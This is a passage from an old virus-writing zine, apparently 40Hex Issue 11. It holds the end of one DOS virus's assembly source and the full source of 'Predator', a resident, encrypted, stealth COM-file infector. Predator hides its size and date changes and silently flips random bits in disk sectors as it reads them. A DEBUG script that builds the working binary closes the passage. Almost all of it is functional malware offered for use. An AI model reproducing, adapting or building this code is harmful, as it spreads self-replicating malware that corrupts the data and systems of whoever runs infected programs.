                cmp     cs:handletoinfect,0
                jne     handlewrite_done
                mov     cs:handletoinfect,bx
                mov     cs:filehand,0
handlewrite_done:
                mov     dx,cs:curposlo          ; return to original
                mov     cx,cs:curposhi          ; position
                mov     ax,4200h
                call    callint21
handlewrite_exit:
                jmp     exitint21

terminate:
                mov     cs:chkdskflag,0
                jmp     exitint21

check_chkdsk:
                mov     si,dx
                cld
check_chkdsk_loop1:
                lodsw
                cmp     ah,0
                je      check_chkdsk_exit
                cmp     ax,'HC'
                je      check_chkdsk_loop2
                cmp     ax,'hc'
                je      check_chkdsk_loop2
                dec     si
                jmp     short check_chkdsk_loop1
check_chkdsk_exit:
                retn
check_chkdsk_loop2:
                push    si
                lodsw
                cmp     ax,'DK'
                pop     si
                jz      check_chkdsk_found
                cmp     ax,'dk'
                je      check_chkdsk_found
                dec     si
                jmp     short check_chkdsk_loop1
check_chkdsk_found:
                mov     cs:chkdskflag,1
                retn

getsetfiletime:
                cmp     al,0                    ; get file tiem?
                jne     getsetfiletime_exit     ; nope, exit
                call    dword ptr cs:oldint21   ; prechain
                pushf
                and     cx,1Eh                  ; if (seconds == 60)
                cmp     cx,1Eh                  ; then xor with 60h
                jne     getsetfiletime_nofix    ; to hide the change
                xor     cx,1Eh                  ; otherwise, don't
getsetfiletime_nofix:
                jmp     exit_replaceflags
getsetfiletime_exit:
                popf
                jmp     dword ptr cs:oldint21

                db      '(c) 1990 by SVC,Vers. '



infection_marker db      '5.0 ',0

begindata:
oldint1         dw      0, 0
oldint3         dw      0, 0
oldint8         dw      0, 0
oldint21        dw      0, 0
savebuffer      dw      20CDh
                dw      11 dup (0)
tickcount       db      0
carrierPSP      dw      0
origposlo       dw      0
origposhi       dw      0
carrierEOFlo    dw      0
carrierEOFhi    dw      0
bytesread       dw      0
bufferoff       dw      0
bufferseg       dw      0
tempstoreCX     dw      0
tempstoreDX     dw      0
filehand        dw      0
fileattr        dw      0
filetime        dw      0
filedate        dw      0
chkdskflag      dw      0
oldint24        dw      0, 0
oldint23        dw      0, 0
handletoinfect  dw      0
storesIP        dw      0
storesCS        dw      0
returnFlags     dw      0
filesizelo      dw      0
filesizehi      dw      0
curposlo        dw      0
curposhi        dw      0
workbuffer      dw      12 dup (0)
storeAX         dw      0
                db      0
storess         dw      0
storesp         dw      0
int21command    dw      0
encryptval1     db      0
encryptval2     db      0
                dw      1990h ; written 1990
versionbyte     db      50h   ; version 5.0

endvirus        =       $
viruslength     =       $ - start
                end     start
-------------------------------------------------------------------------------

40Hex Issue 11 Volume 3 Number 2                                      File 008

                                   Predator

     Predator is a virus written by Phalcon/Skism's newest member, Priest.  It
incorporates a number of stealth features.  It infects only COM files.
Predator uses the "Century" technique of marking a virus infection; file dates
are bumped up 100 years to designate an infection.

--Predator Source Code---------------------------------------------------------
CSEG SEGMENT
     ASSUME CS:CSEG, ES:CSEG, SS:CSEG
     ORG 0h

;                        Source code of the Predator

;                                  Priest


Its_Me          equ 'IM'

Read_Only       equ 1

Mem_Size        equ offset Finish-offset Virus_Start    ;amount of memory needed
                                                        
Virus_Size      equ offset Virus_End-offset Virus_Start ;size of virus
New_Virus_Size  equ offset Finish-offset New_Virus      ;size of virus w/
                                                        ;encryption


Hundred_Years   equ 0c8h

Version         equ 30h                   ;Get DOS Version
Open            equ 3dh                   ;Open File
Ext_Open        equ 6ch                   ;Extended Open File
Execute         equ 4bh                   ;Execute
Find_FCB        equ 11h                   ;Find File Control Block
Find_FCB_Next   equ 12h                   ;Find next FCB
Open_FCB        equ 0fh                   ;Open FCB
Get_DTA         equ 2fh                   ;Get DTA address
Find_Dir        equ 4eh                   ;Find file
Find_Dir_Next   equ 4fh                   ;Find next file

Attribute       equ 1                     ;infection flags
Opened          equ 2
Written         equ 4

Extended_FCB    equ 0ffh                  ;Extended FCB will have the first
                                          ;byte equal to FFh

Virus_Start:    mov sp,bp                 ;restore Stack after decryption
                sti                       ;interrupts on
                mov ah,Version
                mov bx,Its_Me
                int 21h                   ;Check if already resident
                cmp ax,Its_Me
                jne Go_Res
Jump_R_F:       jmp Return_File
Go_Res:         mov ax,cs                 
                dec ax                    ;get segment of this MCB
MCB_ds:         mov ds,ax
                cmp byte ptr ds:[0],'Z'   ;must be last Memory Control Block
                jne Jump_R_F
Found_last_MCB: mov ax,Mem_Size           ;Reserve enough for virus + data
                mov cl,4h                 
                shr ax,cl                 ;convert to paragraphs
                inc ax
                push ax
                dec ax
                shr ax,cl
                shr cl,1
                shr ax,cl                 ;convert to kilobytes
                inc ax                    
                push ds
                xor bx,bx
                mov ds,bx
                sub word ptr ds:[413h],ax  ;take memory from int 12
                pop ds
                pop ax
                sub word ptr ds:[0003h],ax  ;take it from availible memory
                mov ax,cs
                add ax,ds:[0003h]         ;get segment of free memory
                mov es,ax
                push cs
                pop ds
                call $+3             ;next 3 instructions find Virus_Start
                pop si
                sub si,(offset $-1)-offset Virus_Start
                xor di,di
                mov cx,Mem_Size
                cld
                rep movsb                 ;copy us to High Memory
                push es
                mov ax,offset High_Start
                push ax
                retf                      ;jump up there

Virus_Name:     db 'Predator virus  ' 
Copyright:      db '(c) Mar. 93  '
Me:             db 'Priest' 

File_Bytes      db 0cdh, 20h, 0h       ;first 3 bytes of infected .com file

Com_Spec:       db '.COM',0h           ;only .com files can be infected

High_Start:     push cs
                pop ds
                mov ax,3521h           ;get address of Int 21
                int 21h
                mov word ptr ds:[Int_21],bx      ;save it 
                mov word ptr ds:[Int_21+2h],es
                mov al,13h              ;get address of Int 13
                int 21h
                mov word ptr ds:[Int_13],bx     ;save it
                mov word ptr ds:[Int_13+2h],es
                mov ah,25h                   ;point Int 13 to our handler
                mov dx,offset New_13
                int 21h
                mov al,21h                   ;21h too
                mov dx,offset New_21
                int 21h   
                xor ax,ax
                mov ds,ax
                mov ax,ds:[46ch]             ;get a random number for 
                push cs                      ; activation task
                pop ds
                xchg al,ah
                add word ptr ds:[Count_Down],ax     ;Save it for count down
Return_File:    push ss
                pop es
                mov di,100h
                call $+3      ;get address of first 3 bytes of .com file
                pop si
                sub si,(offset $-1)-offset File_Bytes
                push ss
                push di
                cld
                movsw                           ;move them
                movsb
                push ss
                pop ds
                xor ax,ax
                retf                           ;jump to original program



New_21:         cmp ah,Open                    ;check function
                je Infect
                cmp ah,Ext_Open
                je Ext_File_Open
                cmp ah,Execute
                je Infect
                cmp ah,Find_FCB
                je Stealth_FCB
                cmp ah,Find_FCB_Next
                je Stealth_FCB
                cmp ah,Open_FCB
                je Stealth_FCB_O
                cmp ah,Find_Dir
                je Stealth_Dir
                cmp ah,Find_Dir_Next
                je Stealth_Dir
                cmp ah,Version         ;other checking for us
                jne Jump_21
                cmp bx,Its_Me
                jne Jump_21
                mov ax,bx               ;tell other that we're here
Ret_21:         retf 0002h
Jump_21:        jmp cs:Int_21

Stealth_Dir:    jmp Hide_Find
Stealth_FCB:    jmp Hide_FCB
Stealth_FCB_O:  jmp Hide_FCB_O

Infect_Error_J: jmp Infect_Error
Ext_File_Open:  mov word ptr cs:[File_Pnt],si     ;Extended open uses DS:SI
                jmp short Infect_ds
Infect:         mov word ptr cs:[File_Pnt],dx   ;Open & Execute use DS:DX
Infect_ds:      mov word ptr cs:[File_Pnt+2h],ds
                mov byte ptr cs:[Infect_Status],0h  ;zero out progress byte
                call Push_All                    ;Push all registers
                call Hook_24    ;Hook Int 24 to avoid errors being displayed
                call Is_Com                ;Is it a .com file?
                jb Infect_Error_J          ;Carry flag set if it is not
                lds dx,cs:[File_Pnt]       ;get saved address of file name
                mov ax,4300h             ;fetch the attribute
                push ax
                call Old_21
                pop ax
                jb Infect_Error_J
                mov byte ptr cs:[File_Attr],cl  ;save attribute
                test cl,Read_Only   ;no need to change if not read only
                je No_Attr_Rem
                xor cx,cx
                inc al
                call Old_21                 ;if read only, then zero out
                jb Infect_Error_J
                or byte ptr cs:[Infect_Status],Attribute ;update progress byte
No_Attr_Rem:    mov ax,3dc2h              ;open with write/compatibility
                call Old_21
                jb Infect_Error_J
                xchg ax,bx                ;handle into bx
                push cs
                pop ds
                or byte ptr ds:[Infect_Status],Opened ;update progress byte
                mov ax,5700h                      ;get date
                call Old_21
                cmp dh,Hundred_Years            ;is it infected?
                jnb Infect_Error
                add dh,Hundred_Years            ;else add 100 years to date
                mov word ptr ds:[File_Date],dx  ;save modified date
                mov word ptr ds:[File_Time],cx
                mov ah,3fh                      ;read first 3 bytes
                mov cx,3h
                mov dx,offset File_Bytes
                call Old_21
                cmp ax,cx                     ;if error, then quit
                jne Infect_Error
                cmp word ptr ds:[File_Bytes],'MZ' ;no .exe files 
                je Infect_Error
                cmp word ptr ds:[File_Bytes],'ZM'
                je Infect_Error
                mov al,2                ;set file pointer to end of file
                call Set_Pnt
                or dx,dx                ;too big?
                jne Infect_Error
                cmp ax,1000             ;too small?
                jb Infect_Error
                cmp ax,0-2000           ;still too big?
                ja Infect_Error
                mov di,offset Jump_Bytes    ;make a jump to end of file
                push ax
                add ax,100h          ;these two are for the encryption
                mov word ptr ds:[Decrypt_Start_Off+1],ax
                push cs
                pop es
                mov al,0e9h           ;e9h = JMP xxxx
                cld
                stosb
                pop ax
                sub ax,3h             ; to end of file
                stosw
                call Encrypt_Virus    ;encrypt the virus
                mov ah,40h            ;write the encrypted virus and the
                                      ;decryption routine to file
                mov dx,offset New_Virus
                mov cx,New_Virus_Size
                call Old_21
                jb Infect_Error
                or byte ptr ds:[Infect_Status],Written ;update progress byte
                xor al,al                              ;set file pointer to 
                call Set_Pnt                           ;beginning of file
                mov ah,40h                             ;write the jump
                mov dx,offset Jump_Bytes
                mov cx,3h
                call Old_21
Infect_Error:   test byte ptr cs:[Infect_Status],Opened ;was file opened?
                je Set_Attr
                test byte ptr cs:[Infect_Status],Written ;was file written to?
                je Close
                mov ax,5701h            ;if infected, restore modified date
                mov dx,cs:[File_Date]
                mov cx,ds:[File_Time]
                call Old_21
Close:          mov ah,3eh                ;close file
                call Old_21
Set_Attr:       test byte ptr cs:[Infect_Status],Attribute ;attribute changed?
                je Jump_Old_21
                mov ax,4301h              ;if changed, then restore it
                xor cx,cx
                mov cl,cs:[File_Attr]
                lds dx,cs:[File_Pnt]
                call Old_21
Jump_Old_21:    call Unhook_24           ;unhook Int 24
                call Pop_All             ;pop all registers
                jmp Jump_21              ;jump to original int 21

Set_Pnt:        mov ah,42h               ;set file pointer w/ al as parameter
                xor cx,cx
                cwd                      ;zero out dx
                call Old_21
                retn


Pop_All:        pop word ptr cs:[Ret_Add]  ;save return address
                pop es
                pop ds
                pop si
                pop di
                pop bp
                pop dx
                pop cx
                pop bx
                pop ax
                popf
                jmp cs:[Ret_Add]          ;jump to return address

Push_All:       pop word ptr cs:[Ret_Add] ;save return address
                pushf
                push ax
                push bx
                push cx
                push dx
                push bp
                push di
                push si
                push ds
                push es
                jmp cs:[Ret_Add]       ;jump to return address


Hook_24:        call Push_All          ;push all registers
                mov ax,3524h           ;get int 24 address
                call Old_21
                mov word ptr cs:[Int_24],bx   ;save address
                mov word ptr cs:[Int_24+2h],es
                mov ah,25h                     ;set new address to us
                push cs
                pop ds
                mov dx,offset New_24
                call Old_21
                call Pop_All           ;pop all registers
                retn

Unhook_24:      call Push_All
                mov ax,2524h          ;set old address back
                lds dx,cs:[Int_24]
                Call Old_21
                call Pop_All
                retn

New_24:         mov al,3h          ;int 24, fail
                iret

Old_21:         pushf              ;call to original int 21
                call cs:Int_21
                retn

;Hide_Find hides the file size increase for functions 4eh and 4fh and the
;date change


Hide_Find:      call Old_21         ;do the search
                call Push_All       ;push all registers
                jb Hide_File_Error
                mov ah,2fh          ;get DTA address
                call Old_21
                cmp byte ptr es:[bx.DTA_File_Date+1h],Hundred_Years  ;Is it
                jb Hide_File_Error                              ;infected?
                sub byte ptr es:[bx.DTA_File_Date+1h],Hundred_Years ;Take
                                        
                                        ;away 100 years from date
                
                sub word ptr es:[bx.DTA_File_Size],New_Virus_Size   ;take
                                        
                                        ;away Virus_Size from file size

                sbb word ptr es:[bx.DTA_File_Size+2],0    ;subtract remainder
                                        
                                        ;although there will not be one
                                        ; I included it for expandibility 
                                        ; (i.e. infecting .exe files)
Hide_File_Error:call Pop_All            ;pop all registers
                jmp Ret_21

;Hide_FCB hides the file size increase for functions 11h and 12h and the
;date change


Hide_FCB:       call Old_21        ;find file
                call Push_All      ;push registers
                or al,al           ;al=0 if no error
                jne Hide_FCB_Error
                mov ah,Get_DTA     ;get address of DTA
                call Old_21
                cmp byte ptr ds:[bx],Extended_FCB   ;is it an extended FCB?
                jne Hide_FCB_Reg
                add bx,7h            ;yes, add 7 to address to skip garbage

Hide_FCB_Reg:   cmp byte ptr es:[bx.DS_Date+1h],Hundred_Years ;Is it infected?
                jb Hide_FCB_Error
                sub byte ptr es:[bx.DS_Date+1h],Hundred_Years  ;yes, restore
                                                ;date

                sub word ptr es:[bx.DS_File_Size],New_Virus_Size ;fix size
                sbb word ptr es:[bx.DS_File_Size+2],0  ;and remainder
Hide_FCB_Error: call Pop_All                    ;pop all registers
                jmp Ret_21

;Hide_FCB_O hides the file size increase for function 0fh and the
;date change

Hide_FCB_O:     call Old_21               ;open FCB 
                call Push_All             ;push all registers
                cmp al,0h                 ;al=0 if opened, else error
                jne Hide_FCB_O_Error
                mov bx,dx                 ;pointer into bx

                cmp byte ptr ds:[bx],Extended_FCB ;is it an extended FCB?
                jne Hide_FCB_No_E
                add bx,7h            ;yes, add 7 to skip garbage

Hide_FCB_No_E:  cmp byte ptr ds:[bx.FCB_File_Date+1h],Hundred_Years ;infected?
                jb Hide_FCB_O_Error
                sub byte ptr ds:[bx.FCB_File_Date+1h],Hundred_Years ;yes,
                                                ;fix date

                sub word ptr ds:[bx.FCB_File_Size],New_Virus_Size ;fix size
                sbb word ptr ds:[bx.FCB_File_Size+2h],0  ;and remainder
Hide_FCB_O_Error:call Pop_All         ;pop all registers
                jmp Ret_21

Is_Com:         push cs
                pop ds
                les di,ds:[File_Pnt]  ;get address of file
                xor al,al
                mov cx,7fh
                cld
                repne scasb           ;scan for null byte at end of file name
                cmp cx,7fh-5h        ;must be at least 5 bytes long, 
                                     ;including ext. (.COM)
                jnb Is_Not_Com
                mov cx,5h            ;compare last five bytes to ".COM",0
                sub di,cx
                mov si,offset Com_Spec  ;offset of ".COM",0
                cld
                rep cmpsb             ;compare them
                jne Is_Not_Com
                clc                   ;if .com file, then clear carry flag
                retn
Is_Not_Com:     stc                   ;else set it
                retn

;This is the interrupt 13 handle, it's sole purpose is to complement a
;random bit after a random number of sectors (1-65535) have been read.


New_13:         cmp ah,2h             ;Is a sector going to be read
                je Read_Sector
Jump_13:        jmp cs:Int_13         ;no, continue on
Ret_13:         call Pop_All          ;pop all registers
                retf 0002h
Read_Sector:    mov byte ptr cs:[Sub_Value],al  ;save number of sectors read
                pushf
                call cs:Int_13                  ;read the sectors
                call Push_All                   ;push flags
                jb Ret_13                       ;jump if error to return
                mov al,cs:[Sub_Value]           ;get number of sectors read
                cbw
                sub word ptr cs:[Count_Down],ax ;subtract it from our count
                ja Ret_13                       ;down
                mov bx,200h                     ;200h bytes per sector
                cwd                             ;zero dx
                mul bx                          ;mul # of sectors by 200
                dec ax                          ;minus one
                xor cx,cx
                mov ds,cx
                mov cx,ds:[46ch]                ;get random value
                mov word ptr cs:[Count_Down],cx ;move it into count down
                push cx
                and cx,ax                       ;cx must be < ax
                add bx,cx                       ;add it to the address of 
                pop cx                          ;where the sectors were read
                add cl,ch                       ;randomize cl
                rcr word ptr es:[bx],cl         ;get a random bit
                cmc                             ;reverse it
                rcl word ptr es:[bx],cl         ;put it back
                jmp short Ret_13                ;jump to return 

;The Encrypt_Virus module copies the decryption routine and an encrypted
;copy of the virus to a buffer

Encrypt_Virus:  xor ax,ax
                mov ds,ax
                mov ax,ds:[46ch]    ;get random value
                push cs
                pop ds
                add byte ptr ds:[Decrypt_Value],al    ;use as encryption key 
                mov al,ds:[Decrypt_Value]             ;get encryption key
                add ah,al                             ;randomize ah
                add byte ptr ds:[Decrypt_Random],ah   ;put random garbage 
                mov si,offset Decrypt_Code          ;copy decryption routine
                mov di,offset New_Virus
                mov cx,offset Decrypt_End-offset Decrypt_Code
                cld
                rep movsb                           ;to buffer    
                mov si,offset Virus_Start           ;copy virus
                mov cx,((Virus_Size)/2)+1
Encrypt_Loop:   xchg ax,cx
                push ax
                lodsw
                rol ax,cl                           ;and encrypt
                not ax
                stosw                               ;to buffer
                pop ax
                xchg ax,cx
                loop Encrypt_Loop
                dec di                              ;fix pointer for
                dec di                              ;decryption routine
                sub di,offset New_Virus     ;point decryption's SP to end of
                                            ;encrypted code for proper
                                            ;decryption

                add word ptr ds:[New_Virus+(Decrypt_Start_Off+1-Decrypt_Code)],di
                retn

;Decryption routine

Decrypt_Code:   mov dx,((Virus_Size)/2)+1
                db 0b1h                    ;mov cl,
Decrypt_Value   db ?                    
                cli
                mov bp,sp
Decrypt_Start_Off:mov sp,1234h
Decrypt_Loop:   pop ax
                not ax
                ror ax,cl
                push ax
                jmp short $+3
Decrypt_Random: db 12h
                dec sp
                dec sp
                dec dx
                jne Decrypt_Loop
Decrypt_End:

                db ?
Virus_End:

Jump_Bytes      db 3 dup(0)

Int_13          dd ?                    
Int_21          dd ?
Int_24          dd ?

Ret_Add         dw ?                    

File_Pnt        dd ?

Infect_Status   db ?

File_Time       dw ?
File_Date       dw ?
File_Attr       db ?

Count_Down      dw ?
Sub_Value       db ?

New_Virus       db Virus_Size+(offset Decrypt_End-offset Decrypt_Code)+1 dup(0)
                
Finish:

;various structures

Directory       STRUC
DS_Drive        db ?
DS_File_Name    db 8 dup(0)
DS_File_Ext     db 3 dup(0)
DS_File_Attr    db ?
DS_Reserved     db 10 dup(0)
DS_Time         dw ?
DS_Date         dw ?
DS_Start_Clust  dw ?
DS_File_Size    dd ?
Directory       ENDS

FCB             STRUC
FCB_Drive       db ?
FCB_File_Name   db 8 dup(0)
FCB_File_Ext    db 3 dup(0)
FCB_Block       dw ?
FCB_Rec_Size    dw ?
FCB_File_Size   dd ?
FCB_File_Date   dw ?
FCB_File_Time   dw ?
FCB_Reserved    db 8 dup(0)
FCB_Record      db ?
FCB_Random      dd ?
FCB             ENDS

DTA             STRUC
DTA_Reserved    db 21 dup(0)
DTA_File_Attr   db ?
DTA_File_Time   dw ?
DTA_File_Date   dw ?
DTA_File_Size   dd ?
DTA_File_Name   db 13 dup(0)
DTA             ENDS





CSEG ENDS
     END Virus_Start
--Predator Debug Script--------------------------------------------------------
n predator.com
e 0100  8B E5 FB B4 30 BB 4D 49 CD 21 3D 4D 49 75 03 E9 
e 0110  AF 00 8C C8 48 8E D8 80 3E 00 00 5A 75 F1 B8 64 
e 0120  08 B1 04 D3 E8 40 50 48 D3 E8 D0 E9 D3 E8 40 1E 
e 0130  33 DB 8E DB 29 06 13 04 1F 58 29 06 03 00 8C C8 
e 0140  03 06 03 00 8E C0 0E 1F E8 00 00 5E 81 EE 4B 00 
e 0150  33 FF B9 64 08 FC F3 A4 06 B8 89 00 50 CB 50 72 
e 0160  65 64 61 74 6F 72 20 76 69 72 75 73 20 20 28 63 
e 0170  29 20 4D 61 72 2E 20 39 33 20 20 50 72 69 65 73 
e 0180  74 CD 20 00 2E 43 4F 4D 00 0E 1F B8 21 35 CD 21 
e 0190  89 1E 1D 04 8C 06 1F 04 B0 13 CD 21 89 1E 19 04 
e 01A0  8C 06 1B 04 B4 25 BA 6D 03 CD 21 B0 21 BA D8 00 
e 01B0  CD 21 33 C0 8E D8 A1 6C 04 0E 1F 86 C4 01 06 31 
e 01C0  04 16 07 BF 00 01 E8 00 00 5E 81 EE 48 00 16 57 
e 01D0  FC A5 A4 16 1F 33 C0 CB 80 FC 3D 74 4B 80 FC 6C 
e 01E0  74 3F 80 FC 4B 74 41 80 FC 11 74 2C 80 FC 12 74 
e 01F0  27 80 FC 0F 74 25 80 FC 4E 74 1A 80 FC 4F 74 15 
e 0200  80 FC 30 75 0B 81 FB 4D 49 75 05 8B C3 CA 02 00 
e 0210  2E FF 2E 1D 04 E9 9A 01 E9 C5 01 E9 FA 01 E9 DC 
e 0220  00 2E 89 36 27 04 EB 05 2E 89 16 27 04 2E 8C 1E 
e 0230  29 04 2E C6 06 2B 04 00 E8 26 01 E8 37 01 E8 08 
e 0240  02 72 DB 2E C5 16 27 04 B8 00 43 50 E8 5C 01 58 
e 0250  72 CC 2E 88 0E 30 04 F6 C1 01 74 0F 33 C9 FE C0 
e 0260  E8 48 01 72 B9 2E 80 0E 2B 04 01 B8 C2 3D E8 3A 
e 0270  01 72 AB 93 0E 1F 80 0E 2B 04 02 B8 00 57 E8 2A 
e 0280  01 80 FE C8 73 77 80 C6 C8 89 16 2E 04 89 0E 2C 
e 0290  04 B4 3F B9 03 00 BA 81 00 E8 0F 01 3B C1 75 5D 
e 02A0  81 3E 81 00 5A 4D 74 55 81 3E 81 00 4D 5A 74 4D 
e 02B0  B0 02 E8 8F 00 0B D2 75 44 3D E8 03 72 3F 3D 30 
e 02C0  F8 77 3A BF 16 04 50 05 00 01 A3 05 04 0E 07 B0 
e 02D0  E9 FC AA 58 2D 03 00 AB E8 E2 01 B4 40 BA 34 04 
e 02E0  B9 30 04 E8 C5 00 72 15 80 0E 2B 04 04 32 C0 E8 
e 02F0  52 00 B4 40 BA 16 04 B9 03 00 E8 AE 00 2E F6 06 
e 0300  2B 04 02 74 1C 2E F6 06 2B 04 04 74 0F B8 01 57 
e 0310  2E 8B 16 2E 04 8B 0E 2C 04 E8 8F 00 B4 3E E8 8A 
e 0320  00 2E F6 06 2B 04 01 74 12 B8 01 43 33 C9 2E 8A 
e 0330  0E 30 04 2E C5 16 27 04 E8 70 00 E8 58 00 E8 0C 
e 0340  00 E9 CC FE B4 42 33 C9 99 E8 5F 00 C3 2E 8F 06 
e 0350  25 04 07 1F 5E 5F 5D 5A 59 5B 58 9D 2E FF 26 25 
e 0360  04 2E 8F 06 25 04 9C 50 53 51 52 55 57 56 1E 06 
e 0370  2E FF 26 25 04 E8 E9 FF B8 24 35 E8 2D 00 2E 89 
e 0380  1E 21 04 2E 8C 06 23 04 B4 25 0E 1F BA A8 02 E8 
e 0390  19 00 E8 B8 FF C3 E8 C8 FF B8 24 25 2E C5 16 21 
e 03A0  04 E8 07 00 E8 A6 FF C3 B0 03 CF 9C 2E FF 1E 1D 
e 03B0  04 C3 E8 F6 FF E8 A9 FF 72 20 B4 2F E8 EC FF 26 
e 03C0  80 BF 19 00 C8 72 13 26 80 AF 19 00 C8 26 81 AF 
e 03D0  1A 00 30 04 26 83 9F 1C 00 00 E8 70 FF E9 2D FE 
e 03E0  E8 C8 FF E8 7B FF 0A C0 75 28 B4 2F E8 BC FF 80 
e 03F0  3F FF 75 03 83 C3 07 26 80 BF 1A 00 C8 72 13 26 
e 0400  80 AF 1A 00 C8 26 81 AF 1D 00 30 04 26 83 9F 1F 
e 0410  00 00 E8 38 FF E9 F5 FD E8 90 FF E8 43 FF 3C 00 
e 0420  75 21 8B DA 80 3F FF 75 03 83 C3 07 80 BF 15 00 
e 0430  C8 72 10 80 AF 15 00 C8 81 AF 10 00 30 04 83 9F 
e 0440  12 00 00 E8 07 FF E9 C4 FD 0E 1F C4 3E 27 04 32 
e 0450  C0 B9 7F 00 FC F2 AE 83 F9 7A 73 0F B9 05 00 2B 
e 0460  F9 BE 84 00 FC F3 A6 75 02 F8 C3 F9 C3 80 FC 02 
e 0470  74 0B 2E FF 2E 19 04 E8 D3 FE CA 02 00 2E A2 33 
e 0480  04 9C 2E FF 1E 19 04 E8 D7 FE 72 EB 2E A0 33 04 
e 0490  98 2E 29 06 31 04 77 DF BB 00 02 99 F7 E3 48 33 
e 04A0  C9 8E D9 8B 0E 6C 04 2E 89 0E 31 04 51 23 C8 03 
e 04B0  D9 59 02 CD 26 D3 1F F5 26 D3 17 EB BA 33 C0 8E 
e 04C0  D8 A1 6C 04 0E 1F 00 06 00 04 A0 00 04 02 E0 00 
e 04D0  26 0F 04 BE FC 03 BF 34 04 B9 19 00 FC F3 A4 BE 
e 04E0  00 00 B9 0C 02 91 50 AD D3 C0 F7 D0 AB 58 91 E2 
e 04F0  F4 4F 4F 81 EF 34 04 01 3E 3D 04 C3 BA 0C 02 B1 
e 0500  00 FA 8B EC BC 34 12 58 F7 D0 D3 C8 50 EB 01 12 
e 0510  4C 4C 4A 75 F2 00 00 00 00 00 00 00 00 00 00 00 
e 0520  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
e 0530  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
e 0540  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
e 0550  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
e 0560  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
e 0570  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
e 0580  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
e 0590  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
e 05A0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
e 05B0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
e 05C0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
e 05D0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
e 05E0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
e 05F0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
e 0600  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
e 0610  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
e 0620  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
e 0630  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
e 0640  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
e 0650  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
e 0660  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
e 0670  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
e 0680  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
e 0690  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
e 06A0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
e 06B0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
e 06C0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
e 06D0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
e 06E0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
e 06F0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
e 0700  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
e 0710  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
e 0720  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
e 0730  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
e 0740  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
e 0750  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
e 0760  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
e 0770  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
e 0780  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
e 0790  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
e 07A0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
e 07B0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
e 07C0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
e 07D0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
e 07E0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
e 07F0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
e 0800  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
e 0810  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
e 0820  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
e 0830  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
e 0840  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
e 0850  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
e 0860  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
e 0870  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
e 0880  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
e 0890  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
e 08A0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
e 08B0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
e 08C0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
e 08D0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
e 08E0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
e 08F0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
e 0900  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
e 0910  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
e 0920  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
e 0930  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
e 0940  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
e 0950  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
e 0960  00 00 00 00 

rcx
0864
w
q
-------------------------------------------------------------------------------